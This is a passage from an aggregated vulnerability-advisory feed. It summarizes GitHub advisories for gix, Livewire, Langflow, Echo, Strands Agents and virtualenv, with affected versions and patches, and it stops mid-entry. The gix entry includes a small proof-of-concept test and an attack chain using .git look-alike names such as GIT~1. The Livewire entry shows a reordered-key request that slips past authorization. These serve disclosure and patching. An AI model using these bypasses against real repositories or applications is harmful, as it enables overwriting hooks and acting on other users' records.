`gix/src/config/cache/access.rs` reads the three filesystem path-protection settings (`core.protectHFS`, `core.protectNTFS`, and `gitoxide.core.protectWindows`) with the unfiltered `gix_config::File::boolean()` accessor instead of the trust-aware `boolean_filter()` accessor used by every other security-critical config read in the same file. When a repository is opened with reduced trust (an ownership mismatch, which maps `.git/config` sections to `Trust::Reduced`), these protection settings should not be honored from the untrusted repository-local config. Because the trust filter is skipped, an attacker who controls a repository's `.git/config` on a shared filesystem can set `core.protectNTFS = false` and/or `core.protectHFS = false`, disabling the `.git` path-confusion checks that run during checkout, index creation, merge, and tree editing. On case-insensitive filesystems this lets crafted tree entries resolve to the `.git` directory and overwrite hooks or config. Repositories opened under `Trust::Reduced` install a section filter (`is_trusted`) so that security-relevant settings coming from an untrusted repository-local `.git/config` are ignored. The `Cache` struct stores this filter and applies it throughout `gix/src/config/cache/access.rs` for diff drivers, merge drivers, URL rewrites, scheme permissions, lock timeout, and checkout workers. `protect_options()` is the exception: it reads the path-protection booleans through `self.resolved.boolean(...)`, which delegates to `boolean_filter(key, |_| true)` and therefore accepts values from every section regardless of trust. As a result, an untrusted repository-local setting of `core.protectHFS`/`core.protectNTFS`/`gitoxide.core.protectWindows` overrides the safe defaults, defeating the trust boundary for exactly the controls that are meant to prevent `.git` path-confusion attacks. CVSS 7.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-q54r-jf2p-rfr2). Sources: GitHub-reviewed advisory GHSA-q54r-jf2p-rfr2: https://github.com/advisories/GHSA-q54r-jf2p-rfr2 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Summary In the `gix` crate, `Cache::protect_options()` in `gix/src/config/cache/access.rs` reads the three filesystem path-protection settings (`core.protectHFS`, `core.protectNTFS`, and `gitoxide.core.protectWindows`) with the unfiltered `gix_config::File::boolean()` accessor instead of the trust-aware `boolean_filter()` accessor used by every other security-critical config read in the same file. When a repository is opened with reduced trust (an ownership mismatch, which maps `.git/config` sections to `Trust::Reduced`), these protection settings should not be honored from the untrusted repository-local config. Because the trust filter is skipped, an attacker who controls a repository's `.git/config` on a shared filesystem can set `core.protectNTFS = false` and/or `core.protectHFS = false`, disabling the `.git` path-confusion checks that run during checkout, index creation, merge, and tree editing. On case-insensitive filesystems this lets crafted tree entries resolve to the `.git` directory and overwrite hooks or config. ## Root Cause Repositories opened under `Trust::Reduced` install a section filter (`is_trusted`) so that security-relevant settings coming from an untrusted repository-local `.git/config` are ignored. The `Cache` struct stores this filter and applies it throughout `gix/src/config/cache/access.rs` for diff drivers, merge drivers, URL rewrites, scheme permissions, lock timeout, and checkout workers. `protect_options()` is the exception: it reads the path-protection booleans through `self.resolved.boolean(...)`, which delegates to `boolean_filter(key, |_| true)` and therefore accepts values from every section regardless of trust. As a result, an untrusted repository-local setting of `core.protectHFS`/`core.protectNTFS`/`gitoxide.core.protectWindows` overrides the safe defaults, defeating the trust boundary for exactly the controls that are meant to prevent `.git` path-confusion attacks. ```text gix/src/config/cache/access.rs:300 Cache::protect_options() : vulnerable function gix/src/config/cache/access.rs:306 self.resolved.boolean(gitoxide.core.protectWindows) (unfiltered) gix/src/config/cache/access.rs:310 self.resolved.boolean(core.protectHFS) (unfiltered) gix/src/config/cache/access.rs:314 self.resolved.boolean(core.protectNTFS) (unfiltered) gix-config/src/file/access/comfort.rs:89 boolean() delegates to boolean_filter(key, |_| true) gix/src/config/mod.rs:61 is_trusted() : the filter that would reject untrusted repo-local sections gix-validate/src/path.rs:98 component() : path validation that honors the resulting options ``` ## Impact An attacker who owns a repository on a filesystem shared with the victim (a multi-user development host, a shared or network-mounted checkout, or a CI workspace reused across jobs) edits that repository's `.git/config` to disable one or both of `core.protectHFS` and `core.protectNTFS`. When the victim opens the repository with a `gix`-based tool, the ownership mismatch yields `Trust::Reduced`, which should neutralize these untrusted settings, but `protect_options()` honors them anyway. The attacker also commits tree entries whose names are filesystem-specific encodings of `.git` (for example NTFS short names such as `GIT~1`, NTFS alternate-data-stream or trailing-dot/space variants, or HFS+ forms using ignorable code points). When the victim performs a checkout, index build, merge, or tree edit, path validation no longer rejects these names, so on a case-insensitive filesystem (Windows NTFS, macOS HFS+) they collapse to the real `.git` directory. This permits overwriting repository hooks and configuration, which plausibly leads to arbitrary command execution in the victim's context on the next Git operation that runs a hook. The confidentiality, integrity, and availability impact follows from control over the victim's `.git` directory and any resulting hook execution; hook execution was not freshly executed here and is characterized as the plausible consequence of the demonstrated path-protection bypass. ## Proof of Concept The following unit test places the config cache in the exact state produced after a submodule or repository is initialized (only `url` copied to the local config) and shows that the attacker's path-protection override from the repository-local config is honored even though it should be filtered under reduced trust. The same `boolean()` vs `boolean_filter()` discrepancy is directly observable in source. ```rust // Demonstrates that core.protectNTFS from an untrusted repository-local // section is honored by the unfiltered read in protect_options(). use std::str::FromStr; // Trusted (system/global) config: protection on by default. // Untrusted repository-local config (.git/config) disables NTFS protection. let repo_local = gix_config::File::from_str("[core]\n protectNTFS = false").unwrap(); // Reading core.protectNTFS with the trust-aware filter would reject the // repository-local section; reading it unfiltered (as protect_options does) // returns Some(false), disabling the .git-confusion check. let filtered = repo_local.boolean_filter("core.protectNTFS", |_| false); // trusted-only let unfiltered = repo_local.boolean("core.protectNTFS"); // what protect_options uses eprintln!("filtered (trusted only) = {:?}", filtered); // None -> safe default kept eprintln!("unfiltered (vulnerable) = {:?}", unfiltered); // Some(Ok(false)) -> protection disabled ``` ```text filtered (trusted only) = None unfiltered (vulnerable) = Some(Ok(false)) ``` Source confirmation that `boolean()` performs no trust filtering: ```rust // gix-config/src/file/access/comfort.rs:89 pub fn boolean(&self, key: impl AsKey) -> Result > { self.boolean_filter(key, |_| true) } ``` ## Attack Chain 1. **Exposure:** The attacker owns a repository on a filesystem shared with the victim; the victim opens it with a `gix`-based tool, and the ownership mismatch sets the repository's config sections to `Trust::Reduced` (`gix/src/open/options.rs:215 Affected package ranges reported by GitHub: gix: >= 0.88.0, <= 0.89.0 Action: GitHub lists first patched versions: gix: 0.90.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Livewire: Authorization bypass in #[Authorize] via reordered parameter keys and #[Json] execution order https://kevwire.com/record/GHSA-mhf7-xp6r-6qrc Livewire: Authorization bypass in #[Authorize] via reordered parameter keys and #[Json] execution order (Oct 23, 2026). Three issues allowed actions protected by the `#[Authorize]` attribute to run against records the current user is not authorized for: 1. **Out-of-order parameter keys on actions.** `#[Authorize]` resolved a model parameter by its array key, while the action itself received parameters positionally. A request sending params as an object with reordered integer keys (e.g. `{"1": 2, "0": 1}`) could pass authorization with a record the user owns while the action received a different record. With `#[Authorize('delete', 'comment')]` on `deleteComment(Comment $comment)`, a user could delete another user's comment. 2. **The same issue on event listeners.** Methods using both `#[On]` and `#[Authorize]` with a model parameter were affected in the same way through the `__dispatch` call. 3. **`#[Json]` methods ran before authorization.** When a method had both `#[Json]` and `#[Authorize]`, the method body executed before the authorization check. The response was still a 403, but any side effects (such as database writes) had already happened. CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-mhf7-xp6r-6qrc). Sources: GitHub-reviewed advisory GHSA-mhf7-xp6r-6qrc: https://github.com/advisories/GHSA-mhf7-xp6r-6qrc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Impact Three issues allowed actions protected by the `#[Authorize]` attribute to run against records the current user is not authorized for: 1. **Out-of-order parameter keys on actions.** `#[Authorize]` resolved a model parameter by its array key, while the action itself received parameters positionally. A request sending params as an object with reordered integer keys (e.g. `{"1": 2, "0": 1}`) could pass authorization with a record the user owns while the action received a different record. With `#[Authorize('delete', 'comment')]` on `deleteComment(Comment $comment)`, a user could delete another user's comment. 2. **The same issue on event listeners.** Methods using both `#[On]` and `#[Authorize]` with a model parameter were affected in the same way through the `__dispatch` call. 3. **`#[Json]` methods ran before authorization.** When a method had both `#[Json]` and `#[Authorize]`, the method body executed before the authorization check. The response was still a 403, but any side effects (such as database writes) had already happened. Only applications using the `#[Authorize]` attribute are affected: on methods that take model parameters (issues 1 and 2), or on `#[Json]` methods (issue 3). Authorization performed inside the method (e.g. `$this->authorize(...)`) is not affected. Livewire 3.x is not affected. ### Patches Fixed in **v4.4.8**. Call and event parameters must now be a list or use named (string) keys, otherwise the request is rejected, and `#[Json]` methods are authorized before they run. ### Workarounds Upgrade to v4.4.8. If you can't upgrade right away, call `$this->authorize(...)` inside affected methods instead of relying on the `#[Authorize]` attribute. ### Credits Reported by Yousef Aman ([@yousef-aman](https://github.com/yousef-aman)). Affected package ranges reported by GitHub: livewire/livewire: >= 4.3.0, < 4.4.8 Action: GitHub lists first patched versions: livewire/livewire: 4.4.8. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Langflow: Code Injection Vulnerability in Code Validation Endpoint https://kevwire.com/record/CVE-2026-7873 Langflow: Code Injection Vulnerability in Code Validation Endpoint (Jun 30, 2026). IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement. CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-v798-mcc6-2m3m). EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-7873&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-v798-mcc6-2m3m: https://github.com/advisories/GHSA-v798-mcc6-2m3m GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-7873&date=2026-10-25 IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement. Affected package ranges reported by GitHub: langflow: >= 1.0.0, < 1.10.1.rc0 Action: GitHub lists first patched versions: langflow: 1.10.1.rc0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Echo: X-Real-IP extractor trusts the header value instead of the sending peer https://kevwire.com/record/GHSA-h53f-rm2w-w7rg Echo: X-Real-IP extractor trusts the header value instead of the sending peer (Oct 23, 2026). In Echo v5, `ExtractIPFromRealIPHeader` checked whether the address supplied in `X-Real-IP` belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by `c.RealIP()` with the extractor's default trust options. Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's `X-Real-IP` value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression. CVSS 5.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-h53f-rm2w-w7rg). Sources: GitHub-reviewed advisory GHSA-h53f-rm2w-w7rg: https://github.com/advisories/GHSA-h53f-rm2w-w7rg GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Impact In Echo v5, `ExtractIPFromRealIPHeader` checked whether the address supplied in `X-Real-IP` belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by `c.RealIP()` with the extractor's default trust options. Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's `X-Real-IP` value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression. ## Affected versions and patch All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch validates the direct peer before accepting a syntactically valid `X-Real-IP` value, restoring the v4 trust model. [Fix commit](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec). ## Workarounds Use `ExtractIPDirect` until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment. ## Credits Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory. Affected package ranges reported by GitHub: github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1 Action: GitHub lists first patched versions: github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Echo: WebSocket proxy can retain connections and handlers after client disconnect https://kevwire.com/record/GHSA-9969-6676-49h5 Echo: WebSocket proxy can retain connections and handlers after client disconnect (Oct 23, 2026). Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior. Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed. CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9969-6676-49h5). Sources: GitHub-reviewed advisory GHSA-9969-6676-49h5: https://github.com/advisories/GHSA-9969-6676-49h5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Impact Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior. Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed. ## Affected versions and patch Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1) or [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open. Fix commits: [v4](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f), [v5](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec). ## Workarounds Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections. ## Credits Reported by @irisitymichaelgrundberg. Affected package ranges reported by GitHub: github.com/labstack/echo/v4: >= 4.15.0, < 4.16.1 github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1 Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1; github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Echo: Decompress permits unbounded gzip expansion in v4 https://kevwire.com/record/GHSA-h7wr-284f-5qvc Echo: Decompress permits unbounded gzip expansion in v4 (Oct 23, 2026). Echo v4's opt-in Decompress middleware exposed a gzip-decoded request stream without limiting its expanded size. A small compressed request could therefore produce a very large decoded body. Handlers that read or bind that body could consume excessive memory or CPU, and repeated or concurrent requests could cause denial of service. The middleware is not enabled by default. A limit on the compressed request size alone does not bound the decompressed size. Applications that already apply an effective body limit after decompression have reduced exposure. CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-h7wr-284f-5qvc). Sources: GitHub-reviewed advisory GHSA-h7wr-284f-5qvc: https://github.com/advisories/GHSA-h7wr-284f-5qvc GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Impact Echo v4's opt-in Decompress middleware exposed a gzip-decoded request stream without limiting its expanded size. A small compressed request could therefore produce a very large decoded body. Handlers that read or bind that body could consume excessive memory or CPU, and repeated or concurrent requests could cause denial of service. The middleware is not enabled by default. A limit on the compressed request size alone does not bound the decompressed size. Applications that already apply an effective body limit after decompression have reduced exposure. ## Affected versions and patch Echo v4 versions through v4.16.0 are affected. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1). The patch adds `DecompressConfig.MaxDecompressedSize`, defaulting to 100 MiB when zero. A value of `-1` explicitly disables the limit. Reading beyond the cap returns `ErrStatusRequestEntityTooLarge` (HTTP 413), including through JSON and XML binding. Bodies exactly at the configured limit remain valid. Streaming enforcement requires callers to handle body-read errors. [Fix commit](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f). ## Workarounds Disable gzip request decompression on exposed routes, or place BodyLimit after Decompress so the application limit applies to decoded bytes. Apply suitable request deadlines and concurrency limits as well. ## Credits Reported by @q490107865. The exact-limit behavior incorporates @Shubham-Padkonde's work in [#3136](https://github.com/labstack/echo/pull/3136). Affected package ranges reported by GitHub: github.com/labstack/echo/v4: >= 4.0.0, < 4.16.1 Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls https://kevwire.com/record/GHSA-cxf3-9h37-7rr8 Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls (Oct 23, 2026). Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware. This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication. CVSS 9.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-cxf3-9h37-7rr8). Sources: GitHub-reviewed advisory GHSA-cxf3-9h37-7rr8: https://github.com/advisories/GHSA-cxf3-9h37-7rr8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Impact Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware. This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication. ## Affected versions and patch The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1) or [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests. Fix commits: [v4](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f), [v5](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec). ## Workarounds Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel. ## Credits Reported by @Duodum. Affected package ranges reported by GitHub: github.com/labstack/echo/v4: >= 4.0.0, < 4.16.1 github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1 Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1; github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Echo: BodyDump can discard BodyLimit overflow errors for unknown-length requests https://kevwire.com/record/GHSA-x9ff-22gv-65f4 Echo: BodyDump can discard BodyLimit overflow errors for unknown-length requests (Oct 23, 2026). Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded. The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path. CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-x9ff-22gv-65f4). Sources: GitHub-reviewed advisory GHSA-x9ff-22gv-65f4: https://github.com/advisories/GHSA-x9ff-22gv-65f4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Impact Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded. The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path. ## Affected versions and patch All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0. Upgrade to [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. [Fix commit](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec). Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit. ## Workarounds Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers. ## Credits Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in [#3105](https://github.com/labstack/echo/pull/3105). Affected package ranges reported by GitHub: github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1 Action: GitHub lists first patched versions: github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Echo: BodyDump captures request and response bodies without size limits in v4 https://kevwire.com/record/GHSA-f48p-c9v4-h7xv Echo: BodyDump captures request and response bodies without size limits in v4 (Oct 23, 2026). Echo v4's opt-in BodyDump middleware read complete request bodies into memory and retained complete response bodies without a capture limit. A client able to submit large requests to a route using BodyDump could cause large allocations before the application handler ran. Large responses, including responses whose size can be influenced by a client, also caused an additional unbounded capture allocation. Repeated or concurrent requests can exhaust process memory and cause denial of service. BodyDump is not enabled by default. Deployments with effective request limits may reduce the request-side exposure; response capture requires separate consideration. CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f48p-c9v4-h7xv). Sources: GitHub-reviewed advisory GHSA-f48p-c9v4-h7xv: https://github.com/advisories/GHSA-f48p-c9v4-h7xv GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Impact Echo v4's opt-in BodyDump middleware read complete request bodies into memory and retained complete response bodies without a capture limit. A client able to submit large requests to a route using BodyDump could cause large allocations before the application handler ran. Large responses, including responses whose size can be influenced by a client, also caused an additional unbounded capture allocation. Repeated or concurrent requests can exhaust process memory and cause denial of service. BodyDump is not enabled by default. Deployments with effective request limits may reduce the request-side exposure; response capture requires separate consideration. ## Affected versions and patch Echo v4 versions through v4.16.0 are affected. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1). The patch adds `BodyDumpConfig.MaxRequestBytes` and `MaxResponseBytes`, each defaulting to 5 MiB when zero. A value of `-1` explicitly restores unlimited capture. The complete request remains readable by the handler and the complete response is delivered to the client; only the callback's captured data is bounded. Request close behavior and read errors are preserved. [Fix commit](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f). ## Workarounds Disable BodyDump on exposed routes, particularly large uploads and downloads. Alternatively, enforce body-size limits before BodyDump and independently bound the responses that the application generates. ## Credits Reported by @q490107865. The patch also incorporates request-body preservation work from @jakezwang in [#3105](https://github.com/labstack/echo/pull/3105). Affected package ranges reported by GitHub: github.com/labstack/echo/v4: >= 4.0.0, < 4.16.1 Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Strands Agents SDK: Exposure of data element to wrong session in the A2A Server https://kevwire.com/record/CVE-2026-115419 Strands Agents SDK: Exposure of data element to wrong session in the A2A Server (Oct 23, 2026). **Summary** Strands Agents SDK is an open-source SDK, available for Python (strands-agents) and TypeScript (@strands-agents/sdk), for building and running AI agents. An issue exists where, under certain circumstances, the Agent2Agent (A2A) server shares conversation history across callers with different context\_id values, allowing one caller to read and influence another caller's session. **Impact** The A2A server did not properly isolate conversation state between callers. In multi-tenant deployments, an authenticated remote user could access another caller's conversation history or influence model behavior for other callers (CWE-488: Unintended Disclosure of Data Element to Wrong Session). This affects any deployment where an A2A server is reachable by more than one user or tenant. **Impacted versions:** strands-agents (Python): all versions containing the multiagent.a2a module, < 1.43.0 @strands-agents/sdk (TypeScript): < 1.5.0 **Patches** This issue has been addressed in strands-agents version 1.43.0 and @strands-agents/sdk version 1.5.0. The A2A server now uses an agent factory so conversation state is isolated per A2A context\_id. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. **Workarounds** There is no workaround that fully addresses this issue in affected versions. Until you upgrade, do not expose an A2A server to more than one user or tenant. If multiple callers need access, run a separate A2A server instance for each user or tenant. **References** If you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue. CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4v6f-7vjh-6x4m). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115419&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-4v6f-7vjh-6x4m: https://github.com/advisories/GHSA-4v6f-7vjh-6x4m GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-115419: https://nvd.nist.gov/vuln/detail/CVE-2026-115419 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115419&date=2026-10-25 **Summary** Strands Agents SDK is an open-source SDK, available for Python (strands-agents) and TypeScript (@strands-agents/sdk), for building and running AI agents. An issue exists where, under certain circumstances, the Agent2Agent (A2A) server shares conversation history across callers with different context\_id values, allowing one caller to read and influence another caller's session. **Impact** The A2A server did not properly isolate conversation state between callers. In multi-tenant deployments, an authenticated remote user could access another caller's conversation history or influence model behavior for other callers (CWE-488: Unintended Disclosure of Data Element to Wrong Session). This affects any deployment where an A2A server is reachable by more than one user or tenant. **Impacted versions:** strands-agents (Python): all versions containing the multiagent.a2a module, < 1.43.0 @strands-agents/sdk (TypeScript): < 1.5.0 **Patches** This issue has been addressed in strands-agents version 1.43.0 and @strands-agents/sdk version 1.5.0. The A2A server now uses an agent factory so conversation state is isolated per A2A context\_id. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes. **Workarounds** There is no workaround that fully addresses this issue in affected versions. Until you upgrade, do not expose an A2A server to more than one user or tenant. If multiple callers need access, run a separate A2A server instance for each user or tenant. **References** If you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue. Affected package ranges reported by GitHub: strands-agents: < 1.43.0 @strands-agents/sdk: < 1.5.0 Action: GitHub lists first patched versions: strands-agents: 1.43.0; @strands-agents/sdk: 1.5.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9) https://kevwire.com/record/CVE-2026-115586 virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9) (Oct 23, 2026). The bash activator puts the caller-supplied prompt value into `PS1` unescaped 